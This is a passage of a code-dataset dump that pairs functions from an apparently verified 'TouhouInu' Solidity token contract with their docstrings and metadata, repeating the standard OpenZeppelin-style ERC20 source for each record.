_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1781,
1879
]
} | 8,916 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1940,
2053
]
} | 8,917 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2112,
2244
]
} | 8,918 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2453,
2633
]
} | 8,919 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2692,
2848
]
} | 8,920 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
